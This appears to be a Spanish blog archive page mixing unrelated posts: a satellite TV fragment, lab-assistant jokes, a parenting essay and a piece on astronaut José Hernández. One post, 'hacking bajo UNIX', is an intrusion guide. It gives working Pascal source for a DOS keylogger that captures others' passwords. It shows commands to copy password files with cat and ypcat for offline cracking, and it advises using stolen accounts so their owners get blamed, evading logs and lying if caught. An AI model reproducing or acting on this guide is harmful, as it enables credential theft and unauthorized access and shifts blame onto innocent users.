7) De todo lo anterior, paso a explicarles: El PanAmSat, por ejemplo, aqui tenemos la suerte de que tenga una de sus antenas centrada en el Peru (logico, por eso, que haya puros canales peruanos) y se puede captar mas al sur y por el norte (aunque ya debil) hasta Miami. El caso de la KWGN debe ser el inverso, en su caso ese satelite usa un haz centrado en los EE.UU. y cuya extension llega a alcanzar hasta el Peru, pero ya al limite… (por eso no llega a Argentina). En el caso de Uniseries, segun me explicaron, usan un haz de cobertura domestica, solo para la region de Argentina, Uruguay y Paraguay. El haz no llega mas alla. En el caso de Infinito, en cambio, si utilizan un haz de mayor amplitud, para enviar la sen~al a otros paises.

hacking bajo UNIX

mayo 17

Hola a todos, este es mi primer escrito que hago sobre estos temas para esta revista, no se que tal me quedara, pero intentare que sea lo mejor posible. En este, mi primer articulo, voy a intentar hablar sobre el tantas veces hablado hacking bajo UNIX. Mi idea es sentar las bases y las pautas que debe tener un hacker normalucho (porque buenos hackers hay muy pocos y pertenecen a otra orbita), asi que si alguien espera encontrarse aqui un bug para «arreglar» la ultima version del SunOS, pues mejor que deje de leer inmediatamente.

Antes de seguir hay que decir que no es aprobable el borrar cosas, es mas provechoso el apropiarse de recursos que de otra forma no podrias poseer, por ejemplo, una cuenta de acceso a internet en una maquina menos saturada y mas rapida que la del alumano (por decir algo), o la posibilidad de pillar datos ajenos…. es decir, cosas que dentro de lo malo no causa daños a nadie.

De entrada hay que buscar el sitio adecuado para hackear, yo recomiendo siempre las universidades, digamos que son las mas adecuadas ya que si te pillan no te haran demasiado. Si estas hackeando por modem, pues o procuras enchufarte de alguna forma al telefono de tu vecino o como te cazen te meten un paquete que te acuerdas. Si estas hackeando en la empresa donde trabajas, pues hombre, puedes perder el puesto de trabajo, lo cual no es aconsejable de ningun modo. Con lo que quedan las universidades, en las cuales si te cazan pues te puedes hacer el loco, y eso siempre que seas universitario porque si no lo eres pues te hacen menos todavia, en cuyo caso basta con que salgas por patas.

Si eres universitario, lo mejor es que te pongas a hackear siempre en un ordenador lo suficientemente bien situado como para que si ves venir a alguno de los operadores o becarios te pueda dar tiempo a cerrar todas las sesiones (nunca dejes nada abierto) pulsa alt-x si estas en un pc, o si estas en un terminal dale a la tecla de cortar y luego ejecutas «close all»; una vez hecho eso, simplemente te haces el loco, lo niegas todo, dices que acababas de llegar y a vivir que son dos dias.

Si llegais al punto de que os cazan, teneis que saber una cosa y es que nunca tienen pruebas concluyentes contra vosotros, se limitan a acojonaros hasta que os declareis cumpables, si nunca os declarais culpables al final tendran que olvidarlo todo. La unica prueba realmente concluyente seria que alguien os viera directamente lo que estais haciendo, el resto de pruebas se basan en logs y en basura informatica que para que pudiera tener algo de validez tendria que estar compulsada notarialmente en el mismo momento que es recibida ya que si no esta compulsada notarialmente en ese mismo momento no es valida legalmente ya que no se sabe si ha sido modificada (con un simple editor de textos) o no.

El primer paso es, logicamente, buscar una cuenta de trabajo que no sea la tuya, y desde el primer momento usa la cuenta de otro, para que nunca te cojan haciendo cosas raras con tu cuenta. Lo mas normal es que lo que haces quede registrado en algun log (y no en todos los casos) y cuando miran el log buscando por cadenas que revelan instrucciones comprometidas pues te descubren; por esto hay que usar la cuenta de otro, si te descubren iran a por el propietario legitimo de la cuenta y a ti no te pasara nada. Tambien pueden estar utilizando monitores que dan la alarma cuando algun usuario hace cosas anormales o incluso hay UNIX que implementan sistemas de deteccion que avisan con un write a la consola de ciertas cosas como reiterados accesos erroneos a una cuenta y todo tipo de acciones que os podais imaginar y que solamente tienen que ser configuradas por el administrador de turno.

Para hacerte con la primera cuenta hay tres formas sencillas, a continuacion las enumero y doy una explicacion de cada una. Esto, naturalmente, que no tuvieras una ya, ya que si tienes una propia, siempre puedes robar el fichero de passwords e intentar algun John the Ripper o similares. El metodo de ponerse en el login y sabiendo una cuenta intentar acertar el password a pelo, no es recomendable, primero porque podria saltar algun aviso en la consola a cuenta de los intentos sucesivos fallidos, la segunda porque podrias dejar la cuenta bloqueada y la tercera es que es dificilisimo. Yo lo habre probado cosa de media docena de veces y acerte una vez, pero vaya, lo normal es que no aciertes, y el tema de las cuentas con password por defecto, creo que practicamente ya no existe.

1- metodo (mirada furtiva), pues simplemente te dedicas a mirar al teclado de la gente que entra en su cuenta. Siendo disimulado y teniendo en cuenta que hay gente que va a pulsacion por segundo, pues le cazaras el password sin problemas. Yo he conocido a autenticos especialistas en esta tecnica, sir in mas lejos, un amigo era capaz de cazarle el password a la primera a cualquier persona que teclee a menos de unas 200 pulsaciones por minuto; y se teclearas a la velocidad que sea te pillaba el password en un maximo de dos veces. Yo mismamente, metiendo un password de 8 caracteres en un segundo, me ligo el password a la segunda vez que me vio meterlo.

2- metodo (papelito revelador), pues eso, la gente es incapaz de recordar su password, y por eso lo apunta en algun papel, y suele ser que en un papel tengan los passwords de todas las maquinas a las que tienen acceso. Con lo que en el momento que lo sacan tienes unos instantes para memorizar el password. Luego es posible que tengan el mismo password en todas las maquinas a las qeu tienen acceso, ya no solo porque ellos se lo hayan puesto asi, sino porque el listo del administrador de turno asi lo ha dispuesto.

3- metodo (capturador de teclado), este es el que mas me gusta. Cojes y te vas a un ordenador (no vale terminal) y ejecutas la mierda de programa que te pongo a continuacion. Una vez ejecutado te pones a hacer el tonto hasta que viene el tipico julai que te dice «me dejas un momento entrar en mi cuenta para bajarme unos ficheros a disco», vas tu y le dices «como no, para eso estamos los amigos, para ayudarnos entre nosotros» y pulsas F7, al hacer eso se vaciara el buffer y memorizara a partir de ese momento las primeras 512 pulsaciones. Cuando el julai en cuestion se va vas tu y pulsas F8, y en ese momento te apareceran las 512 teclas pulsadas y entre ellas el login y el password claro esta. Capturadores de teclado hay muchos, pero si quieres puedes usar el mio, que es facil, cortito y muy efectivo; aunque reconozco que los hay mas completos y mucho mejores que el mio.

————

uses dos;

{$M $800,0,0}

(* Grabador de teclado *) (* *) (* F7 -> Inicializa el buffer de teclado. *) (* F8 -> Muestra e incializa el buffer de teclado. *)

var KbdIntVec : Procedure; tab : array[1..512] of byte; n : integer;

procedure mostrar_autor; begin writeln; writeln(‘ Grabador de Teclado. ‘); writeln; writeln(‘ Autor: Lordman. 1 de Enero de 1996. ‘); writeln; end;

procedure inicializar; begin for n := 1 to 512 do tab[n] := 0; n := 0; end;

procedure mostrar; var car : char; tdec : string[53]; begin tdec := ‘ 1234567890 ! qwertyuiop + asdfghjkln – zxcvbnm,.- ‘; for n := 1 to 512 do begin if (tab[n] >= 1) and (tab[n] <= 57) then car := tdec[tab[n]] else car := ‘ ‘; write(car); end; inicializar; writeln; end;

{$F+} procedure Keyclick; interrupt; var aux : byte; begin aux := port[$60]; if aux < $80 then begin if n <= 512 then n := n + 1; tab[n] := aux; if aux = 66 then mostrar; if aux = 65 then inicializar; end; inline($9C); KbdIntVec; end; {$F-}

begin

mostrar_autor; inicializar; GetIntVec($9,@KbdIntVec); SetIntVec($9,Addr(Keyclick)); Keep(0);

end.

————

Cuando tengas ese password fijate a ver si son passwords de inicializacion. Me explico, ya he visto casos de cuentas que se creaban con passwords por defecto que seguian una tonica similar, por ejemplo, login: cuenta47, password: pass47, ?entendeis a lo que me refiero?.

Una vez que hayas conseguido la primera cuenta tienes que en distinto turno en el que el julai te haya pedido el favor. Es decir, por norma general la gente entras en sus cuentas en el turno de manana (de 9 a 2) o en el de tarde (de 3 a 8), con lo que tu tendras en cuenta ese detalle, date cuentas que si pillas con una maquina que no permita duplicidad de usuarios la puedes liar si el tio al entrar la maquina le dice que esta ya conectado.

Cuando entres la primera vez en la cuenta robada (y en cualquier otra que consigas) deberas utilizar el comando «last | grep <usuario>» cuyo comando te dara un listado de los ultimos accesos a esa cuenta, en cuyo listado podras ver a que horas se conecta el propietario de la cuenta y podras intentar evitar el coincidir con el.

Una vez entrado en la cuenta se recomienda hacer un doble login, es decir, 1 minuto despues de entrar ejecutas el comando «login» y vuelves a entrar para que al hacer un finger no aparezca puesto de acceso en donde estas. No es un sistema definitivo ya que te pueden cojer igualmente, pero por lo menos no lo pones tan facil. El esperar 1 minuto es para que en la lista de accesos no aparezcan los dos con una diferencia de pocos segundos y se deduzca que estas en el puesto de acceso desde donde se realizo la primera conexion. Insisto que no es un sistema definitivo, pero es algo, al menos si hacen un finger no aparecera el puesto de acceso desde donde os conectais. Aunque pueden usar las estadisticas de red y ahi sale todo, pero bueno, algo es algo.

Ten cuidado cuando uses la cuenta de trabajo para cosas provechosas. Disimula para que parezca que no estas haciendo nada malo, es decir, haz ftp’s a donde sea (maquinas locales si no hay acceso a internet), telnet’s, juega a algun juego que haya disponible, haz algun talk……. y en medio de todo eso pues ya sabes haz lo que de verdad te interese hacer. Mas que nada porque todas esas cosas que te he puesto anteriormente es lo que hace un usuario normal y claro, antetodo teneis que hacer ver que vosotros sois un usuario normal.

Otra cosa que esta bien hacer, es comprobar lo que hace la gente, para que si te estas rastreando tengas posibilidades de salirte a tiempo de la cuenta. Ejecutar el comando «w» y el «ps -u root» esta bien para ver lo que hace la gente y si ves que te referencian a ti, o a algun proceso que hayas estando haciendo, o a algun comando…. (todo ello anteponiendo, por parte del operador, el comando grep a veces) pues mal asunto, sal por patas que a lo mejor hay problemas. Una cosa tienes que recordar, no te preocupe no hackear el tiempo que a ti te hubiera gustado, piensa que manana habra mas tiempo, pero si te ligan a lo mejor manana no hay mas tiempo.

Llegado a este punto ya tienes una cuenta, lo primero que hay que hacer es intentar llevarte el fichero de passwords. Para esto hay fundamentalmente dos formas, la primera es un «cat /etc/passwd >passwd» aunque si la maquina tiene el fichero de passwords en shadow no te servira, en el caso de ficheros shadow y si la maquina es servidor de cuentas de otras maquinas (NIS) al ejecutar el comando «ypcat passwd

>passwd» recibiras una lista de todas las cuentas y sus passwords >sin

nada de shadow. Por ultimo estan algunas rutinas que sacan el fichero de passwords, yo personalmente nunca las he utilizado, aunque tambien es verdad que lo he intentado poco ya que o bien hackeaba contra sistemas UNIX sin shadow o bien con el truco de ypcat me bastaba. Si quereis buscar esas rutinas que os he comentado pues tirad de internet que hay mazo de ellas.

Una vez que has conseguido el fichero de passwords, te lo llevas a casa y alli utilizas los famosos crackeadores de cuentas UNIX como el John the Ripper, KillerCracker, Hades, BruteJack…. y intentas descubrir passwords desde tu casa y con la maxima discreccion que eso mismo conlleva. Con este sistema deberas conseguir bastantes cuentas para cubrirte las espaldas si pierdes alguna. Os puedo decir que en cierto servidor gratuito de email de mas de 13.500 cuentas logre petar casi 2.000, asi que os podeis hacer una idea de hasta donde se puede llegar. No os pongais a buscar servidores gratuitos de email porque le reporte al webmaster el error y ya esta solucionado. El error consistia en que podias hacer ftp con tu login y tu password para acceder al espacio dedicado a tu pagina web, una vez hecho eso te desviabas al subdirectorio donde estaba el fichero de password, lo cojias y como el sistema no tenia shadow pues asunto solucionado.

Luego deberas empezar a ejecutar maravillas como el Satan o el Cops y ver que pasa. No voy a explicar el funcionamiento de estos sistemas asi que a buscar el fichero y leeros el manual. En la misma maquina siempre podeis ejecutar el famoso «crack» el cual probara permutaciones de palabras y diccionarios hasta practicamente el infinito, este software nunca acaba, asi que no espereis a que acabe porque nunca lo hara. El problema es que si dejais un proceso de fondo estais sobrecargando demasiado la maquina y es posible que se den cuenta los administradores, aunque no necesariamente, un amigo mio ejecuto un proceso de esos sobre la cuenta root de una maquina de una facultad y tardaron 20 dias en descubrir el proceso. Naturalmente cuando lo descubrieron ni idea de quien fue y se limitaron a pararlo. Lo curioso es que la maquina mostraba un factor de carga altisimo y no se aparon del burro en 20 dias.

Llegado a este punto hay que empezar a buscar otras alternativas. De entrada y antes de seguir comentaros que os olvideis de bugs de sendmail, me puedo arriesgar a decir que no queda ninguna maquina que cuente con versiones del sendmail que casquen, bueno, si os encontrais con un bug descubierto este ano, pues vale, sirve, pero no intentes los infinitos bugs que aparecen porque lo llevais claro para que funcione uno. Alguna posibilidad teneis, pero se puede decir que si la version es una 8.x olvidaros de todo, si es una 7.x a lo mejor teneis algo por ahi y las unicas que petaban por todos los lados eran las 5.x. Daros cuenta que si hubiera una version petable del sendmail, fijo que ya la habrian petado antes que llegarais vosotros, con lo que si podeis mirar que version es por si tuvierais suerte pero no os obcequeis con probar bugs del senmail a ver si alguno funciona porque es dificil.

Si vais a hacer cosas peligrosas los mejores momentos son de 8 a 9 de la manana (los operadores estan llegando todavia o desayunando), de 2 a 4 de la tarde (estan comiendo como cerdos o cotilleando como marujas) y a partir de las 7 de la tarde (para esa hora se han ido a casa a decirles a sus mujeres lo buenos que han sido y lo bien que se han portado), aunque debereis verificar los horarios y ver cuales son los mas adecuados. Ni que decir que ni se os ocurra hacer nada por telefono, estais pillados y os pueden hacer un hijo de plastico.

Llegado este punto hay que plantearse la posibilidad de instalar un sniffer. Basicamente, hay tres posibles sniffers.

1- – Sniffer corriendo bajo MS-DOS. No es recomendable ya que la red novell lo detecta, no como sniffer, sino como que esta pasando algo raro en un puesto de acceso concreto.

2- – Sniffer desde cuenta UNIX, el mas usado, aunque no por ello el mas seguro. Hay utilidades UNIX que detectan si se esta ejecutando un sniffer en la maquina, aunque los operadores no suelen usar estas utilidades y en el peor caso te quedarias sin cuenta y procederias a usar otra, ya sabiendo que eso no lo puedes hacer. No obstante suelen detectar tambien estos procesos porque corren durante demasiado tiempo.

3- – Sniffer montado desde un Linux, el mas sofisticado y el que requiere algo de experiencia en Linux. La idea es muy sencilla, preparas un disco con una instalacion super-reducida del Linux, arrancas bajo MS-DOS y luego ejecutas el Linux. La instalacion del Linux debera ser en modo MS-DOS utilizando ficheros que se descomprimen en memoria gerando una unidad virtual. Esta sistema ademas te ofrecera la posibilidad de montar unidades de distintas maquinas, usando el famoso bug de la PC-NFS que consiste en que si quieres acceder a una cuenta que no sea la de root, no tienes mas que crear una cuenta con el mismo login (en tu maquina portable) y hacer un mount del subdirectorio. Ojo con dejar los demonios de entrada a la maquina, no vaya a ser que el operador haga un rastreo de ip’s y vuestra maquina responda. Me explico?, se instala in linux super-reducido en formato MS-DOS en un disquete, incluyendo una unidad RAM donde estan los pocos ejecutables que necesiteis.

Apartir de aqui, ya solo queda el sistema de empezar a probar bugs que hay en distintas direcciones de internet dedicadas a la materia. Para empezar estan bien las http://www.rootshell.com y http://www.hha.net; la de rootshell te permite hacer busquedas en base a palabras, lo cual te ofrece la posibilidad de introducirle el nombre del software UNIX que hay instalado y el buscador te mostrara lo que tiene. Creo que tambien, una de ellas, te permitia buscra por sistemas operativos, aunque eso ya no me acuerdo bien.

Un ultimo detalle que es obligado a la hora de dedicarse a esta tan noble arte es conocer al operador del sistema, si puedes hazte amigo de el, vete a tomar unas copas con el, incluso de vez en cuando que parezca que eres su amigo, es decir, utiliza la psicologica.

Hay varios tipos de operadores, tu futuro dependera del tipo con el que te tropiezes, mas o menos, se pueden resumir, segun mi experiencia, en cinco formatos de operador.

– El reprimido sexual, este es el peor, es como si su mujer le pegara y no hiciera el amor con el, lleva 7 anos sin follar y siente el orgasmo en base a buscar cabezas de turco, buscar culpables donde no los hay y demostrar su profesionalidad acusando a todo el que se le pone por delante para poder lavarse las manos y que antetodo siga intacta su imagen y prstigio internacional (por lo menos). Peligrosisimo y hay que tener mucho cuidado con el.

– El chuloputas, sin mas un chulo a nivel maximo. Continuamente esta demostrando su chuleria este donde este. Este es menos peligroso porque si te caza sin mas te humillara un poco y te dira que eres una mierda, pero al final posiblemente te dira que no lo vuelvas a hacer y es posible que lo olvide.

– El pasota. Sin mas el tipico que se limita a cobrar el sueldo a fin de mes y meterse en el minimo de lios posibles. Con este no tendras problemas ya que para que nadie dude de su profesionalidad si te caza lo arreglara contigo en privado, no te denunciara para no desvelar que le has hackeado el ordenador. Incluso es posible que a cuenta de eso se haga colega tuyo.

– El pelota. Pasa su vida haciendo la pelota a su superior mas proximo. Carece de personalidad alguna y es incapaz de pensar por si mismo. Si quieres saber con quien estas tratando deberas analizar a su superior y no a el.

– El subnormal. Pues eso, eimplemente, subnormal, no tiene ni idea de lo que hace, le han reciclado hace poco y no sabe ni por donde le da el aire, basicamente, sabe crear cuentas, cambias passwords y poco mas.

Puesta hasta aqui ha llegado mi primer articulo electronico. En el segundo voy a tratar el tema de que hacer si se tiene un password de root, aparentemente puede parecer absurdo lo que planteo pero vereis que no es tan absurdo y hay que tener en cuenta muchas cosas para poder usarlo, a no ser que el operador pase de todo o sea un inutil, claro esta.

Memorias de laboratorista de computo

mayo 17

Saludos!
cualquier parecido con la realidad  es…………….. LA NETA¡¡¡¡¡¡¡¡ Se que algunos de ustedes no son SemiDioses, es decir gente de sistemas,  pero por lo menos aprendanse de memoria la situacion, para no ser como el  alumno de estos dialogos…Estas son las escalofriantes declaraciones de un administrador que estaba a cargo del mantenimiento de las salas de computo en una Universidad Publica.

Son todas estrictamente veridicas, aunque pueda  parecer increible. Hay que tener en cuenta que la sala de la que se hacia cargo  estaba en la Facultad  de Empresariales, de modo que no se esperaba de los usuarios la posesion  de una vasta cultura informatica.

Pero tampoco se esperaban cosas como estas.   (Nota: Para salvaguardar la identidad de este «opereta», usaremos el nombre generico de ROY para referirnos a el)

Alumno: «Hice este documento en casa, pero aqui no me carga»
Roy: «Bien. Que procesador de textos usaste?»
Alumno: «Windows, version 6»
Roy: «No, quiero decir que programa, no el sistema  operativo»
Alumno: «Windows»
Roy: «No. Windows es el sistema. Lo que quiero saber es el programa. Por ejemplo, puede haber sido WordPerfect, o Microsoft  Word…» [al alumno se le ilumina la cara]
Alumno: «Ah, claro! Fue con Microsoft Windows»  [aun no se como no lo mate]

Alumno: «No se si mi computadora pasara el 2000 y  estoy preocupado»
Roy: «Que modelo es?»
Alumno: «Es una Compaq»
Roy: «Buena marca, pero que modelo es?»
Alumno: «Ah!, es de las que les cabe el disquito de  3 no se que» [este sera uno de esos dias muuuuy largos]

Alumno: «Me puedes grabar Internet en este  disquete?»  [tentado estuve de grabarle el «acceso directo  a Internet  Explorer» y hacerle feliz…]

Alumno: «No jala mi password en mi cuenta, me salen  asteroides»  [me lleve un par de tensos segundos darme  cuenta de que  queria decir «asteriscos»]

Profesor: «En la casa quise instalar una impresora y no pude, ¿Me puedes ayudar?

Roy: ¿Que tipo de impresora es? Negro o a color  [uno preguntapara saber a que es lo que se va a enfrentar]

Profesor:  mmmh, es mas bien como color beige?? [completamente fuera de competencia :S]

Profesor: «Oye, en la sala de arriba queremos pasar  nuestros documentos a un nuevo sistema. Es muy complicado?»
Roy: «Depende. Que software estan usando?»  [expresion confusa en la cara  del profe]
Profesor: «Software? No usamos ningun software»  [genial; computadoras telepatas… y yo aqui con una Ultra  Sparc en la mesa]

Alumno: «Oye, valdria la pena instalar Windows 75?»  [esto es retro-computacion, y lo demas son  chingaderas]
Alumno: «Por que no aparece nada en internet?»
Roy: «Dejame ver… el servidor de red no esta  funcionando. Tendras que esperar un rato que lo levanten»
Alumno: «Bueno, mientras leere mis mails»  [que parte de «no esta funcionando» no explique bien? o  sera influyente?]

Alumno: «Necesito pasar esta imagen a mi cuenta para  un trabajo»
Roy: «Hecho!, te la paso por FTP en un momento»
Alumno: «No, no manches!, la imagen tiene que estar  en JPEG» [siempre he dicho que eso de los acronimos es un peligro  publico…]

Alumno: «Mi CPU no es lento, tiene un disco duro de 200 kegabytes»
[tres patadas en 12 palabras… deberia haber  mandado esto  al libro Guinness para que homologaran el  record]

Alumno: «Oye, Windows no me funciona, no se por que.
Habra sido por  cambiar el nombre del directorio WINDOWS a VENTANAS?» [nooo, sera la fase de la luna, pues se encuentra en laoctava casa de acuario….]

Alumno: «Se puede usar Word en las computadoras del Departamento?» [nota: eran estaciones Sun]
Roy: «No, esas maquinas usan UNIX»
Alumno: «Ah, claro, UNIX usa una version de DOS muy  antigua» [confieso que me costo recuperarme de esta]

Alumno: «Como puedo quitar mi PC del escritorio?»
Roy [confundido]: «Que pasa, esta atornillado a la  mesa o que?»
Alumno: «Me estas chamaqueando o que?»
Roy [mas confundido]: «No, no, como crees?… a ver,  donde quieres poner
tu PC? En el suelo?»
Alumno: «Te estas burlando de mi no?» eh? ?? ME ESTAS VACILANDO, NO??»
Roy [a la defensiva]: «Tranquilo, vamos por partes, eh? Me puedes explicar el problema con un poco mas de detalle?»
Alumno [mirandome como si yo fuera un idiota profundo]: «He quitado Internet, he quitado el Outlook y he quitado Mis  Documentos, pero no puedo quitar Mi PC. Ni la Papelera de Reciclaje tampoco»  [por que la gente no hablara con comillas?]

Alumno: «Oye, creo que hay archivos corrompidos en la computadora con la que trabajo»
Roy: «Por que crees eso?»
Alumno: «Lo abro y sale basura. Mira» [acto seguido  me lleva a una computadora, arranca MSDOS, lanza el EDIT y  abre… COMMAND.COM]
Roy [sonrisa sarcastica]: «Estoy de acuerdo en que es basura, pero…»  [me parece que no capto el chiste]

Alumno: «Me puedes ayudar? Se trabo la maquina y no  puedo escribir»
Roy: «Abriste algun archivo o paquete ademas del que  estas usando para escribir?» [hay que ponerse al nivel]
Alumno: «Abri Mis Documentos pero ya lo cerre y no me deja»
Roy: «Bien, selecciona la ventana con el programa en  que estabas escribiendo y podras continuar»
Alumno: «Es que no hay nada mas abierto, no hay mas cosas entre las cuales deba escoger» [me preocupare cuando el problema realmente sea  la maquina y  no el usuario]

Alumno: «Mi maquina se apago sin que la tocar»
Roy: «Como?»
Alumno: «Si, en lo que leia mis apuntes el monitor  se apago»  [muevo el mause y se enciende el monitor…  habia sido presa  del protector de pantalla maligno]

En cierta ocasion estaba enseñando los servidores  departamentales a un grupo de alumnos de primer curso… habia un DG 300 como servidor de terminales, donde se conectaban clientes bajo NT, X Window, y otros entornos]
Roy: «Y esto es un servidor DG 300 corriendo bajo DG/UX 5.4»
Alumno: «Que es eso?»
Roy: «El sistema operativo»
Alumno: «Corre bajo NT?»
Roy: «No, es DG/UX, un sistema operativo. Es una  variante de UNIX.Corre por si solo»
Alumno: «Ah, o sea, arrancas NT y…»  [este imbecil seguro que ha hecho carrera como empleado de  Microsoft]

Alumno: «Apague la computadora, la volvi a encender, y me sigue diciendo que ya puedo apagar la computadora»
Roy: «Eso es imposible»
Alumno: «Te lo juro, ven a verlo» [vamos hacia alla]
Alumno: «Mira. Apago . Enciendo …

Roy: «Ese es el monitor». [imbecil…..]

El arte de ser papá

abril 28

Convertirse en un padre efectivo significa hacer una serie de adivinanzas educativas y ver qué es lo que funciona. Al hacerlo, inevitablemente cometemos errores. Habrá momentos en que somos rígidos cuando debimos ser relajados y otros en los que estabamos relajados y debimos ser firmes o bien fuimos inconsistentes o injustos. Cada uno hará juicios basados en la información que tenemos en un momento determinado, para darnos cuenta poco después de que no hicimos la decisión correcta. Todos diremos o haremos cosas que lastimen a nuestros hijos porque estabamos cansados, frustrados o demasiado enojados para controlarnos. En ocasiones, repetiremos errores que cometieron nuestros padres y que nosotros juramos que nunca cometeríamos. Siempre esperamos que ninguna de nuestras equivocaciones dañe a nuestros hijos o ponga en riesgo su seguridad, su autoestima o su alma. Sin embargo, cada vez que hacemos algo nuevo, inevitablemente comentemos errores, es parte de la curva de aprendizaje.

El valor de los errores
Las respuestas “incorrectas” son el corazón del proceso de descubrimiento científico. Descubrir qué está mal a través de la exploración y la examinación es que ayuda a que descubramos qué es lo que funciona. Los errores son ladrillos importantísimos en el proceso de solución de problemas. Cuando un niño aprende a caminar, caerse es tan importante como volverse a levantar.

Muchos de nosotros no hemos aprendido a apreciar los errores como oportunidades de crecimiento. Cuando cometemos un error, nos juzgamos duramente. Los errores no encajan en nuestra visión de nosotros mismos como “padres perfectos”. Pero la perfección, aún si ésta fuera posible, no es lo que los niños necesitan de nosotros. Es mejor para los chicos tener padres que demuestren como se puede seguir creciendo a pesar de las fragilidades humanas.

Formando una respuesta sana a los errores
Los niños nos observan cuidadosamente. A través de nuestro ejemplo, podemos enseñarles que la forma en que enfrentan sus errores es tan importante como el hecho de haber cometido el error:
Reconozca sus errores. Ese es el primer paso.

Comprenda que los errores son manejables. Si al cometer una equivocación nos decimos “Oh, no, la regué. Nunca lo volveré a intentar”. Estamos enseñando que los errores son insuperables. Si por el contrario decimos “Bueno, eso no funcionó, creo que tendré que intentarlo de otra manera”, le damos a nuestros hijos una excelente declaración de optimismo. Eso es significativo para un niño que va a aprender a base de errores durante toda su vida.

Hable con su crítico interno. Para muchos de nosotros, aceptar nuestros errores requiere de amordazar al crítico interno que trata de convencernos de que nunca podremos hacer las cosas bien. Debemos tratar de remplazar esa voz por una más constructiva que diga “Eso no funcionó, ¿por qué?. ¿qué puedo intentar distinto esta vez?

Recordemos que ser capaz de corregirse sí mismo es una verdadera señal de fortaleza. Admitir los errores requiere de mucho valor.

Pedir perdón. “Lo siento” es una expresión indispensable en el vocabulario de un padre.

Tomemos medidas para evitar el mismo error. A pesar de que es importante reconocer los errores, no basta con decir “Ups, lo arruiné, lo siento”. Si nos detenemos ahí, nada evitará que volvamos a caer en el mismo error. Si en verdad queremos cambiar, necesitamos hacer un salto cualitativo del reconocimiento al análisis y eliminación de ese error.

Demuestre cómo se aprende de los errores. Dígale a su hijo lo que va a hacer: “Voy a hablar con alguien que sabe mucho de cuando las personas se enojan y no pueden dejar de gritar”, o “Voy a comenzar a preparar la cena más temprano para no andar apresurado y enojado por las tardes”, o “Voy a la escuela de padres para conocer nuevas ideas sobre cómo podemos hacer la hora de dormir más agradable”.

Incluyamos a nuestros hijos en el proceso de solución de problemas. A los niños del preescolar les encanta decir sus ideas y en general, sus sugerencias pueden ser muy útiles. Un padre comentaba que cuando tenía un problema le preguntaba a su hijo de 3 años para que lo aconsejara: ¿qué crees que debería hacer?, ¿cómo crees que debemos manejar esta situación?

Usemos el humor. En ocasiones, el humor puede dar una pista cuando nos estamos preocupando por los posibles errores que cometeremos. Podríamos pasarnos la vida preocupados por si estamos haciendo bien las cosas o no , por ello necesitamos el alivio de la risa y el humor. Reírnos de nosotros mismos es una virtud que exige valor, autoconocimiento y fuerza inquebrantable.

Recuerde que los chicos son durables. Los niños rara vez son dañados por sólo uno de nuestros errores. Ellos aprenden más de la consistencia de nuestras repuestas a través del tiempo que por los momentos esporádicos en que “la regamos”.

El cuento de un astronauta mexicano

abril 23

Cuentan que en el año 2000, cuando el alcalde de Los Ángeles, Antonio Villaraigosa era un político en ascenso y Presidente de la Asamblea de California, fue invitado a cenar a casa del empresario mexicano Carlos Slim, se le pidió, como mexicano-estadounidense, que explicara en pocas palabras,
la diferencia que había entre México y Estados Unidos.

Esto fue lo que contestó Villaraigosa: «Mire usted, es muy simple, si mi familia se hubiera quedado a vivir en México, el día de hoy yo estaría sirviendo esta cena.» Y si hubiera estado en los EEU..


*Quizá hubiera sido el caso del astronauta José Hernández Moreno, quien nació el 7 de agosto de 1962 en French Camp, California. Es estadounidense. Sus padres originarios de un ranchito llamado Ticuitaco, cerca de La Piedad, Michoacán, México, migraron a Estados Unidos, como ilegales, para emplearse en la recolección del tomate y el pepino.

El propio José Hernández trabajaba todos los veranos en el campo, recuerda cuando un día estaba limpiando con azadón una fila de remolacha y escuchó en un radio que Franklin Chang Díaz había sido seleccionado como astronauta, la noticia lo motivó y ese día dijo: «Yo quiero viajar al espacio.» José Hernández lo logró.

Estudió ingeniería, alcanzó el grado de doctor, ingresó a la NASA , se preparó y por fin el 29 de agosto de 2009 despegó como parte de la tripulación del transbordador espacial Discovery, en una misión en la Estación Espacial Internacional.

Pero., ¿qué hubiera hecho José Hernández si su familia se hubiera quedado en México? Es claro que no habría alcanzado su sueño de volar al espacio. Los futuros posibles de José Hernández  están en la estadística de tantos mexicanos pobres, campesinos, de Michoacán y de otros estados del país, que no tienen opciones y su futuro es muy limitado.

Difícilmente hubiera pasado de la primaria. Estadísticamente hubiera abandonado la secundaria y por supuesto su educación hubiera sido de muy mala calidad.

Quizá se hubiera quedado a sembrar su tierra, lo que le hubiera garantizado un futuro de miseria, con ingresos inferiores a los dos dólares al día.

Quizás hubiera emigrado a la ciudad, con la secundaria inconclusa, si es que conseguía trabajo, sería jardinero, mesero, obrero en una maquiladora, trabajador de la construcción o conductor de microbús.

Pero la familia de José Hernández no se quedó, emigró como tantas otras y le dio a su hijo la posibilidad de alcanzar un futuro totalmente distinto. El contraste de ingresos y de oportunidades entre México y Estados Unidos es tan grande, que por eso México sigue y seguirá siendo por muchos años un país expulsor. Un país del que se han ido ya millones de personas.

Para darnos una idea, hoy radican en USA cerca de 12 millones de personas nacidas en México, el 10% de la población total de México.

Es aquí donde aparece la incongruencia que enoja, que debe enojar, cuando el gobierno y los políticos mexicanos tratan de convertir a la historia de José Hernández en un cuento de orgullo nacional, donde aparece el cuento del astronauta mexicano y nos inventan la historia de superación personal de un
mexicano, como si fuera de verdad un logro nacional.

En cuanto apareció en el radar la historia del astronauta José Hernández, de inmediato se activaron todas las maquinarias de la propaganda y el marketing gubernamentales, en el Congreso de la Unión y del Ejecutivo Federal se movilizaron las agendas y los medios para de capitalizar al máximo al
supuesto astronauta mexicano.  El objetivo: convertirlo en orgullo nacional, pues ante la falta de triunfos reales, cualquier gol de la selección, medalla, ó premio de literatura es bueno para levantar el ánimo y la moral nacional caídas en un país en crisis, complicado y muy emproblemado.

Calderón, personalmente paseó a José Hernández por el país, lo convirtió en súper estrella, hubo entrevistas en los medios, visita al Congreso, homenajes, políticos que querían retratarse con él, regalos, las llaves de la ciudad, plaza con su nombre y sobre todo.. discursos, muchos discursos.
Discursos que hablaban una y otra vez del orgullo nacional, de la superación personal y de la capacidad de los mexicanos.

Pero la realidad es otra, aunque nos duela, José Hernández no es un orgullo nacional. Su historia de éxito no es nuestra historia de éxito y menos una historia de la que pueda sentirse orgulloso nuestro gobierno o nuestra clase política. El  es estadounidenses y tiene raíces mexicanas, tiene acceso a la
